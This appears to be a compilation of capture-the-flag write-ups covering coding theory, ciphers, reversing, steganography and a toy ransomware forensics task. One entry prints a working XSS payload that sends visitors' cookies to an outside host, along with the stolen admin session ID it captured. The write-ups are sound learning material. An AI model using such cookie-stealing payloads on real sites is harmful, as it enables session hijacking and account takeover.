message is damaged by multiplying it with matrix H - if message is not corrupted we should get zero matrix in result. Second part of transmission is helical scan interleaving. Data is saved in matrix, and read in different order. For example: 1 2 3 4 5 6 7 8 1 2 3 4 ... 14 15 16 -> 9 10 11 12 -> 1 6 11 16 5 10 15 4 9 14 3 8 13 2 7 12 13 14 15 16 (We read first element in first row, and proceed diagonally. Then we read first element in second row and proceed diagonally, etc). We need some helper methods, to convert between matrices from raw data strem (both ways): ```pythondef make_matrix(w, h, data): return [[data[i*w+j] for j in range(w)] for i in range(h)] assert make_matrix(2, 3, [1, 2, 3, 4, 5, 6]) == [[1, 2], [3, 4], [5, 6]] def unmake_matrix(w, h, data): return [data[i/w][i%w] for i in range(w*h)] assert unmake_matrix(2, 3, [[1, 2], [3, 4], [5, 6]]) == [1, 2, 3, 4, 5, 6]``` And encoding/decoding: ```pythondef chunks(data, n, pad_obj=0): pad = list(data) + [pad_obj] * (n-1) return [pad[i*n:(i+1)*n] for i in range(len(pad)/n)] assert chunks([1, 2, 3, 4, 5], 3) == [[1, 2, 3], [4, 5, 0]] def helical_interleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y+x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_interleave_part(2, 3, [1, 2, 3, 4, 5, 6]) == [1, 4, 3, 6, 5, 2] def helical_interleave(w, h, dat): return sum((helical_interleave_part(w, h, part) for part in chunks(dat, w*h)), []) assert helical_interleave(2, 3, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]) == [1, 4, 3, 6, 5, 2, 7, 10, 9, 12, 11, 8] def helical_deinterleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y-x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_deinterleave_part(2, 3, [1, 4, 3, 6, 5, 2]) == [1, 2, 3, 4, 5, 6] def helical_deinterleave(w, h, dat): return sum((helical_deinterleave_part(w, h, part) for part in chunks(dat, w*h)), [])``` We have implemented everything we need to solve this challenge. We are given all necessary information to actually decode transmission - exceptsize of helical scan matrix. Fortunatelly, we know that matrix is smaller than 30x30, so we can just bruteforce width and height.We will know that we guessed right by checking amount of hamming code errors. Random data will rarely have correct checksum (1/32 chance), and correctly deinterleaved data should have most checksums correct. So moving on to implementation phase: ```pythondata = open('data.txt').read().strip()data = [int(c) for c in data] result = [] for w in range(1, 30): print w, ':', for h in range(1, 30): print h, fail = 0 helix = helical_deinterleave(w, h, data) cs = chunks(helix, 31) for c in cs: hamming_check = mult(mat_h, transpose([c])) hamming_check = transpose(hamming_check) if not all(n == 0 for n in hamming_check[0]): fail += 1 result.append((fail, w, h)) print def safe(s): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in s) result = sorted(result) fail, w, h = result[0]print 'best result:', fail, w, h``` Our code tells us that matrix is 24 elements wide and 16 elements high. We can just decode data now, right? ```pythonhelix = helical_deinterleave(w, h, data)helix = decode_helix_brute(mat_g, mat_h, helix)dat = chunks(helix, 8)decr = [int(''.join(str(c) for c in chunk), 2) for chunk in dat]decr_hex = ''.join(chr(c) for c in decr).encode('hex')decr_bin = bin(int(decr_hex, 16))[2:]``` Unfortunately, there is one more thing we have to do - we don't know from which bit we should start decoding (transmission is not byte-aligned).But that's non-issue, because we can just bruteforce all 8 possiblities: ```pythonfor i in range(8): data = repr(''.join([chr(int(''.join(chunk), 2)) for chunk in chunks(decr_bin[i:], 8, '0')])) if 'SharifCTF' in data: print data``` y weighs you down and torments you with regret. Drawing rooms, gossip, balls, SharifCTF{4412e6635c6eafaad08574d77ab4d301}, vanity, and triviality --- these are the enchanted circle I cannot escape from. I am now going to the war, the greatest war there ever was, and I know nothing and am fit for nothing. I am very al\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Challenge solved, 300 points (+ 100 bonus) well earned. Working code is inside hamming.py file. ###PL version Zacznę może od tego, że mimo ze zadanie ma "tylko" 300 punktów, to zostało rozwiązane tylko przezjedną drużynę na świecie - p4 (naszą drużynę tzn). Jako że nikt poza nami nie opisze tego zadania(bo nikt inny go nie zrobił), czuję się zobowiązany do opisania naszego rozwiązania. Ale do rzeczy. Dostajemy bardzo długi ciąg bitów, będący "komunikacją" o której mowa w treści zadania: 11111010101010010101011010100011110101000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000 000000000000000010010110101111111100000111100101010111001010010111011100101111100 001101000111111000101100110110011001111001001011101011011110110110101010000101101 100001101010111101000010101000001100010111110000011111100100001000111111011010010 010010100101011100011000000111001101010000001111111111010000111110001011001010110 100001001100010111010101010000001111000011010101010101000011110000110101000111101 000011010010010101111100101011111001111010001001101010000000010011000010110000011 111000011001100011011001101011001111001001000110111100000101111000100100010100101 000111101011011110010010011011110010001000001011101010001000000001100011001110011 011100101100010001001001100100011111000011110000001100111011010000010100001100011 000101010110010000010001000011100100101100001111100100001010101111010010111010010 111100110110110111110100100101100011010000001000000000010000111010001010110111100 100100110000100110011011110000010110001111000001111100100111000111011000101010001 001111010011110010111000111100100000110000000110101110110001010000011010100001110 100100111001110110101111011011111110000100010000101100011101000111100001000001001 001100011001000000000100010111000100101101111100100111010000110101010111000010011 000100101000101101010110101010010110001100110010110100010010100011011000010010101 011100100101000001011001101101000011001010011110100110100000110111000010100010110 010011110010010010100010111001111011000010100100111110001011010111011101010001010 001101001110100100101001011010010001110110100011100011100000011011001100100100010 011000110110000010100100011000111010001011110101001001101010000001110101000011100 010110001000111101010000101011000001011101001101000001101000001100010001100100110 100100101001010011100000111000011111110000110101101110001011010100001101000011000 000110100101101000001011000110111001101001001100010011110010011100000110110100110 100011111110101111000001001000011010010001111001011001100101000101111000001101010 001100010001100000011000100100101101111110100111011101101101001011000101010010011 100010010110010100110011111100000000100001010000000111001010010001111010000001100 000001000101001111011101010001111100111101100010110100111100000111011001110100010 000010001010110100001100111001001101001001010001011101000011010000011100000001010 110101100001011010000110010010101000001111010101111101000101011111011000011100001 110000011110000011110110111100000011100000100100000111011001110010010010001010011 000011010000010001001001000001001011010011010011101000010111010010111010001100001 011000011010010010110101011000000010010100010111001011101101111010101111000010101 000011111000001000110111110101101101011001010011111000101101001011001000110100101 011001001111101110010000010101000011000000110101000111001000101010001111110011110 100010010100010011000010110000111010101101000101011101000001000010100000001101010 110111000100100000100100000011011010111001010110011001110100111110100001001101100 011001011010111001110110110010110101000100100110100101111110001010110010000011110 010111010011000110110100001101000000110010011110100110110010011000100111110100001 001001110010011111000100001000011100010111100001110101000111010001011101001001000 000000000001101100110010000100101000001100000111010000011000010010000010010100110 000000001000000000000001101110000000000011100000000001100101000000011111011000000 001010001000000000110010000000000010011000000010001000000000011010010000000001011 010000000010000... W zadaniu jest również podany "blueprint" z opisem sposobu transmisji: ![](task.png) Jak widać, wiadomość ASCII jest enkodowana przy pomocy kodu hamminga, a następnie przeplatana przy pomocy helical scan matrix. Zanim zaczniemy reversować tą transmisję, spróbujmy najpierw zorientować się co ona w ogóle robi. Czym jest kodowanie hamminga i `helical scan matrix`? Kodowanie hamminga to rodzina liniowych kodów naprawczych (linear error correcting codes). Mają one tą zaletę nad prostymi checksumami (jak np. parity code,czyli bit parzystości), że mogą nie tylko wykrywać błędy, ale również naprawiać pojedyncze bity błędów. Pomijając teorię stojącą za kodowaniem hamminga, w praktyce sprowadza się to do mnożenia przez odpowiednie macierze - generator matrix G, oraz parity check matrix H. Dla każdej odmiany kodów hamminga tablice wyglądają inaczej, więc musimy znaleźć/wygenerować odpowiednią tablicę dla naszych potrzeb. W przypadku kodowania hamminga(31, 26) wygląda ona tak: ```pythonmat_g = [ [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], ] mat_h = [ [1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0], [1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1],]``` Potrzebujemy tez operacji działających na tych macierzach: ```pythondef mult(a, b): rows_a = len(a) cols_a = len(a[0]) rows_b = len(b) cols_b = len(b[0]) if cols_a != rows_b: print "cannot multiply the two matrices. Incorrect dimensions:", cols_a, rows_b return c = [[0 for row in range(cols_b)] for col in range(rows_a)] for i in range(rows_a): for j in range(cols_b): c[i][j] = sum(a[i][k] * b[k][j] for k in range(cols_a)) & 1 return c def transpose(mat): return [[mat[y][x] for y in range(len(mat))] for x in range(len(mat[0]))] assert transpose([[1, 2, 3], [4, 5, 6]]) == [[1, 4], [2, 5], [3, 6]]``` Dekodowanie kodów jest bardzo proste - wystarczy ignorować dane sprawdzające (o ile nie wykazują one błędu, oczywiście). Druga część transmisji to helical scan interleaving. Polega to na tym, ze dane są zapisywane w macierzy, i czytane w zmienionej kolejności. Na przykładzie: 1 2 3 4 5 6 7 8 9 10 11 12 -> 1 6 11 16 5 10 15 4 9 14 3 8 13 2 7 12 13 14 15 16 (czytamy od pierwszego elementu pierwszego wiersza ukośnie na dół, później pierwszego elementu drugiego wiersza ukośnie na dół, etc) Przyda się tworzenie macierzy z ciągu danych (do kodowania/dekodowania musimy przedstawiac dane hako macierz: ```pythondef make_matrix(w, h, data): return [[data[i*w+j] for j in range(w)] for i in range(h)] assert make_matrix(2, 3, [1, 2, 3, 4, 5, 6]) == [[1, 2], [3, 4], [5, 6]] def unmake_matrix(w, h, data): return [data[i/w][i%w] for i in range(w*h)] assert unmake_matrix(2, 3, [[1, 2], [3, 4], [5, 6]]) == [1, 2, 3, 4, 5, 6]``` I samo enkodowanie/dekodowanie: ```pythondef chunks(data, n, pad_obj=0): pad = list(data) + [pad_obj] * (n-1) return [pad[i*n:(i+1)*n] for i in range(len(pad)/n)] assert chunks([1, 2, 3, 4, 5], 3) == [[1, 2, 3], [4, 5, 0]] def helical_interleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y+x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_interleave_part(2, 3, [1, 2, 3, 4, 5, 6]) == [1, 4, 3, 6, 5, 2] def helical_interleave(w, h, dat): return sum((helical_interleave_part(w, h, part) for part in chunks(dat, w*h)), []) assert helical_interleave(2, 3, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]) == [1, 4, 3, 6, 5, 2, 7, 10, 9, 12, 11, 8] def helical_deinterleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y-x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_deinterleave_part(2, 3, [1, 4, 3, 6, 5, 2]) == [1, 2, 3, 4, 5, 6] def helical_deinterleave(w, h, dat): return sum((helical_deinterleave_part(w, h, part) for part in chunks(dat, w*h)), [])``` Mamy cały mechanizm gotowym teraz do rozwiazania zadania - mamy w sumie wszystkie dane, poza wielkością tablicy użytej do helical scanu. Na szczęściemożliwości jest bardzo mało (tablica mniejsza niż 30x30), więc możemy to łatwo bruteforcować. Wybierzemy taką szerokośc i wysokość która da najmniej błędówkodów hamminga. Implementując ten pomysł: ```pythondata = open('data.txt').read().strip()data = [int(c) for c in data] result = [] for w in range(1, 30): print w, ':', for h in range(1, 30): print h, fail = 0 helix = helical_deinterleave(w, h, data) cs = chunks(helix, 31) for c in cs: hamming_check = mult(mat_h, transpose([c])) hamming_check = transpose(hamming_check) if not all(n == 0 for n in hamming_check[0]): fail += 1 result.append((fail, w, h)) print def safe(s): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in s) result = sorted(result) fail, w, h = result[0]print 'best result:', fail, w, h``` Wyszło nam że macierz jest szeroka na 24 elementy i wysoka na 16. W tym momencie wystarczy zdekodować dane - prawda? ```pythonhelix = helical_deinterleave(w, h, data)helix = decode_helix_brute(mat_g, mat_h, helix)dat = chunks(helix, 8)decr = [int(''.join(str(c) for c in chunk), 2) for chunk in dat]decr_hex = ''.join(chr(c) for c in decr).encode('hex')decr_bin = bin(int(decr_hex, 16))[2:]``` Niestety, jest jeszcze jedna pułapka - nie wiemy od którego bitu powinniśmy zacząć dekodowanie dokładnie (transmisja nie jest wyrównana do bitu)Ale możemy to znowu bruteforcoawć, mamy tylko 8 możliwości w końcu: ```pythonfor i in range(8): data = repr(''.join([chr(int(''.join(chunk), 2)) for chunk in chunks(decr_bin[i:], 8, '0')])) if 'SharifCTF' in data: print data``` y weighs you down and torments you with regret. Drawing rooms, gossip, balls, SharifCTF{4412e6635c6eafaad08574d77ab4d301}, vanity, and triviality --- these are the enchanted circle I cannot escape from. I am now going to the war, the greatest war there ever was, and I know nothing and am fit for nothing. I am very al\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' Mamy nasze 300 punktów (+ 100 punktów bonus). Cały działający kod znajduje się w pliku hamming.py
# CSAW Finals 2015: randsomewhere - Forensics 300 For this challenge, we are given an image file called `randsomewhere.img` Running `file` reveals that this is a DOS boot sector ```bash$ file randsomewhere.img randsomewhere.img: DOS/MBR boot sector``` To look at the files inside, I opened the image with testdisk: ![alt text](https://raw.githubusercontent.com/kareemroks101/CTF-Writeups/master/CSAW%2015%20Finals/for300%20-%20randsomewhere/testdisk.png "Testdisk Output") There are two files of interest here: `flag.png.encrypted` and `rand_somewhere.rb` (which was deleted) ## File Analysis Looking at `flag.png.encrypted`, it contains data that doesn't resemble PNG data, and this header: ```Encrypted by randsomewhere. Send 1 BTC to bitcoin address Rm9yIHRoaW5ncyB0byByZXZlYWwgdGhlbXNlbHZlcyB0byB1cywgd2UgbmVlZCB0byBiZSByZWFkeSB0byBhYmFuZG9uIG91ciB2aWV3cyBhYm91dCB0aGVtLg==Visit Tor hidden service http://fakehiddenservicenotpartofthechallenge.onion/?id=006AFF07 to confirm your payment and receive the decryption program.``` The header contains some base64 data and a dead onion link, both of which lead to nothing useful Here are the contents of `rand_somewhere.rb`: ```rubyrequire 'openssl' class RandSomewhere def initialize(bitcoin_addr, hidden_service_name, id_num) rand = Random.new(seed = Time.now.to_i) key_length = 42 @key = rand.bytes(key_length) @algo = "AES-256-CBC" @header = "Encrypted by randsomewhere. Send 1 BTC to bitcoin address #{bitcoin_addr}" @header << "Visit Tor hidden service http://#{hidden_service_name}.onion/?id=#{id_num} to confirm your payment and receive the decryption program." end def encrypt_file(filename) cipher = OpenSSL::Cipher.new(@algo) cipher.encrypt cipher.key = @key data = IO.binread(filename) encrypted_data = cipher.update(data) encrypted_data << cipher.final IO.binwrite(filename + ".encrypted", @header + encrypted_data) end def decrypt_file(filename) cipher = OpenSSL::Cipher.new(@algo) cipher.decrypt cipher.key = @key data = IO.binread(filename) file_data = data[@header.length..-1] # Skip the header. plaintext = cipher.update(file_data) plaintext << cipher.final plaintext_filename = filename + ".decrypted" IO.binwrite(plaintext_filename, plaintext) end end``` Right away we can see a few things:- The file is encrypted with AES-256-CBC, and the header is added at the beginning- A random key is generated using `Time.now`- To decrypt the file, the header is skipped, and the remaining data is decrypted with the same key ## Decryption What's interesting about this program is how the key is generated. In the first line of `initialize(...)`, `Time.now` is used as the **seed** for the random number generator. Then, assuming `encrypt_file(...)` is called immediately, it creates a new file with the encrypted data. This means that the creation time of the file should exactly match the time used as the seed for the key. But when was the file created? Back to testdisk: ``` -rwxr-xr-x 0 0 4731 13-Nov-2015 01:08 flag.png.encrypted``` **NOTE:** To make things easier, I made a copy of `flag.png.encrypted` with the header removed called `noheader.encrypted` Now with the file creation time known, I wrote a script to decrypt the file with the testdisk time as the seed: ```rubyrequire 'openssl't = Time.new(2015,11,13,1,8, 0)rand = Random.new(seed = t.to_i)cipher = OpenSSL::Cipher.new('AES-256-CBC')cipher.decryptcipher.key = rand.bytes(42)cipher.padding = 0data = IO.binread('noheader.encrypted')plaintext = cipher.update(data)plaintext << cipher.finalIO.binwrite('flag.png', plaintext)``` Now running the script: ```bash$ ruby dec.rb $ xxd flag.png0000000: 69a1 3a9f 3893 8e09 fe86 95ff eeaa 60a5 i.:.8.........`.0000010: c45a 0067 8e89 584c 0acf f861 4b90 0665 .Z.g..XL...aK..e...0001110: e990 e2ba 6541 1ff0 e427 db7e 573b b208 ....eA...'.~W;..0001120: 5ecb 9be9 b352 92fe 9640 f26f e0db 640d ^[email protected].``` But now we have another problem, this still doesn't look like PNG data. My first assumption was that the key had to be wrong. One of my teammates suggested to sweep around the time found in testdisk and use each time as a seed, since the file may not have been created immediately after the key was generated. Going along with this, I modified the earlier script to try using every time in a range before and after the testdisk time, and to only save files that had distinctive PNG data, like the strings `PNG` and `IEND`. I ended up sweeping a full 24hr before and after the time found in test disk before it worked. Here is the modified script: ```rubyrequire 'openssl'off = 3600*24t = Time.new(2015,11,13,1,8, 0)t -= off # 24hr beforefor i in 0..off*2 # to 24hr after t += 1 rand = Random.new(seed = t.to_i) cipher = OpenSSL::Cipher.new('AES-256-CBC') cipher.decrypt cipher.key = rand.bytes(42) cipher.padding = 0 data = IO.binread('noheader.encrypted') plaintext = cipher.update(data) plaintext << cipher.final if plaintext.include? 'PNG' and plaintext.include? 'IEND' puts "FOUND PNG AT #{i}" IO.binwrite('flag.png', plaintext) break endend``` And running it: ```bash$ ruby dec.rb FOUND PNG AT 50457``` Great! It found a PNG, let's open it up: ![alt text](https://raw.githubusercontent.com/kareemroks101/CTF-Writeups/master/CSAW%2015%20Finals/for300%20-%20randsomewhere/flag.png "flag.png") And now we have the flag: ```yo mama so fat, she can't store files larger than 4 GB```
## Rail Fence Cipher (Crypto, 50p) Decrypt and find the flag. AaY--rpyfneJBeaaX0n-,ZZcs-uXeeSVJ-sh2tioaZ}slrg,-ciE-anfGt.-eCIyss-TzprttFliora{GcouhQIadctm0ltt-FYluuezTyorZ- ###ENG[PL](#pl-version) The name of this task was everything we needed to know to solve it. Using[this site](http://rumkin.com/tools/cipher/railfence.php) and trying all the possible keys (21 was the correct one), weget the correct plaintext:```A-fence-is-a-structure-that-encloses-an-area,-SharifCTF{QmFzZTY0IGlzIGEgZ2VuZXJpYyB0ZXJt},-typically-outdoors.``` ###PL version Nazwa tego zadania wystarczyła do zgadnięcia, o jaki szyfr tu chodzi. Używając[tej strony](http://rumkin.com/tools/cipher/railfence.php) i próbując wszystkich możliwych kluczy (21 to ten prawdziwy),dostajemy poprawny tekst:```A-fence-is-a-structure-that-encloses-an-area,-SharifCTF{QmFzZTY0IGlzIGEgZ2VuZXJpYyB0ZXJt},-typically-outdoors.```
## Serial (Reverse, 150p) Run and capture the flag! Download serial ###ENG[PL](#pl-version) We were given a binary, asking for a serial and telling us whether it's correct. Disassembling it gave a weird result - for example:```0x00400a2c je 0x400a3c0x00400a2e mov ax, 0x5eb0x00400a32 xor eax, eax0x00400a34 je 0x400a300x00400a36 call 0x424a240x00400a3b add byte [rdi], cl0x00400a3d mov dh, 0x85```We can see jumps into the middle of instruction, which misaligned further disassembled code. Thankfully, debugger was still working just fine. Stepping through the code we can see a number of checks being done on our input.I decided to set registers manually to expected values whenever there was a `cmp` validating our input, which allowed meto do the task in a single run. The checks were pretty basic - for example:```movzx eax, byte [rbp - 0x1ff]movsx edx, almovzx eax, byte [rbp - 0x1f2]movsx eax, aladd eax, edxcmp eax, 0x9b```This checked whether sum of two particular letters of our password are equal to 0x9B. After collecting all the checks like this one, we manuallycalculated every character. Typing it into the binary confirms it's correct, so we submitted it as a flag. ###PL version Dostaliśmy binarkę proszącą o podanie hasła i odpowiadającej, czy jest ono poprawne. Deasemblacja niestety dajedziwne rezultaty, na przykład:```0x00400a2c je 0x400a3c0x00400a2e mov ax, 0x5eb0x00400a32 xor eax, eax0x00400a34 je 0x400a300x00400a36 call 0x424a240x00400a3b add byte [rdi], cl0x00400a3d mov dh, 0x85```Widzimy nietypowe skoki w środek instrukcji, które powodują nieprawidłową deasemblację kodu. Na szczęście debuggertakiego problemu nie ma, wiec mogliśmy przejść instrukcja po instrukcji i obserwować jak nasze hasło jest sprawdzane.Postanowiłem ręcznie ustawiać rejestry na oczekiwane wartości przed każdą instrukcją `cmp`, dzięki czemu wystarczyłopojedyncze przejście przez binarkę. Na szczęście kod sprawdzający był dość prosty, na przykład:```movzx eax, byte [rbp - 0x1ff]movsx edx, almovzx eax, byte [rbp - 0x1f2]movsx eax, aladd eax, edxcmp eax, 0x9b```Ten fragment sprawdzał, czy suma pewnych dwóch znaków hasła jest równa 0x9B. Po zebraniu wszystkich takich porównań, ręcznie ułożyliśmy hasło przechodzące je wszystkie. Binarka potwierdzała jegopoprawność, zatem wysłaliśmy je jako flagę.
##Kick Tort Teen (Forensics, 50p) Anagram, anyone?[Download](data.xls) ###ENG[PL](#pl-version) We start by converting the xls file to csv. Then we load up the values into a python script that counts the number occurences: ```pythonoccurences = []for i in range(1000): occurences.append(0) for y in data: for x in y: occurences[x]=occurences[x]+1 for i in range(len(occurences)): print(i, occurences[i])```` It turns out that there are 256 different numbers in the file, let's try swapping each number with its index in the list of all numbers that appear in the file. [decode.cpp](decode.cpp) We get a ELF file that prints out the flag: `SharifCTF{5bd74def27ce149fe1b63f2aa92331ab}` ###PL version Pierwsze co zrobimy to przekonwertujemy spredsheeta do csv. Wartości wczytamy do prostego programu w pythonie zwracającego wystąpienia poszczególnych liczb: ```pythonoccurences = []for i in range(1000): occurences.append(0) for y in data: for x in y: occurences[x]=occurences[x]+1 for i in range(len(occurences)): print(i, occurences[i])```` Okazuje się, że w pliku znajduje się 256 różnych liczb, spróbujmy zatem zastąpić każdą liczbę jej pozycją w liście wszystkich liczb które występują w tekście. [decode.cpp](decode.cpp) Dostajemy plik ELF który po uruchomieniu wypisuje nam flagę: `SharifCTF{5bd74def27ce149fe1b63f2aa92331ab}`
# PhotoBlog ## Task A friend of mine have stolen my cat's picture on his blog. I want to login as admin user on his blog. Do you have any idea? ## Solution The website to pown is a photoblog where you can add comments on a cat picture. By posting comments such as `<script>alert(123)</script>` we notice that there is an XSS vulnerability. The admin panel is located at the address `admin.php`. Although, when we we try to access it we are redirected to `login.php`.The XSS vulnerability can be used to get the admin's cookie in order to connect to `admin.php`. After we posted the following comment ```javascript<script> im=document.createElement('img'); im.src="http://rainbowlyte.com/pirate.png?loc="+document.location+"&cookie="+document.cookie; document.body.appendChild(im);</script>``` we got the following request in our logs. ```213.233.185.27 - - [06/Feb/2016:14:52:07 +0100] "GET /pirate.png?loc=http://172.17.118.91:8083/privateindex.php?id=Quokka&cookie=PHPSESSID=515386866780b5f132fc96c02b3ddb82 HTTP/1.1" 404 142 "http://172.17.118.91:8083/privateindex.php?id=Quokka" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34"``` The admin's `PHPSESSID` is `515386866780b5f132fc96c02b3ddb82`. Once we changed our cookie, we can access `admin.php` and get the flag.
## Asian Cheetah (Misc, 50p) We have hidden a message in png file using jar file. Flag is hidden message. Flag is in this format: SharifCTF{flag} Download cheetah.tar.gz ###ENG[PL](#pl-version) In this task we had an image and a Java program used to hide flag in it. Decompiling the program allows us to noticethat least significant bits are used to hide the message. We can easliy get the flag using the following script:```from PIL import Image im=Image.open("AsianCheetah1.png")l=list(im.getdata())b=[]for x in l: b.append(x[2]&1) s=[]for i in range(100): c=0 for j in range(8): c*=2 c+=b[i*8+j] s.append(chr(c))print repr("".join(s))``` ###PL version W zadaniu dostaliśmy obrazek i program w Javie, którego użyto do ukrycia w nim flagi. Dekompilacja programu pozwalanam dostrzec fakt użycia najmłodszych bitów do zakodowania wiadomości. Flagę możemy otrzymać używając tego skryptu:```from PIL import Image im=Image.open("AsianCheetah1.png")l=list(im.getdata())b=[]for x in l: b.append(x[2]&1) s=[]for i in range(100): c=0 for j in range(8): c*=2 c+=b[i*8+j] s.append(chr(c))print repr("".join(s))```
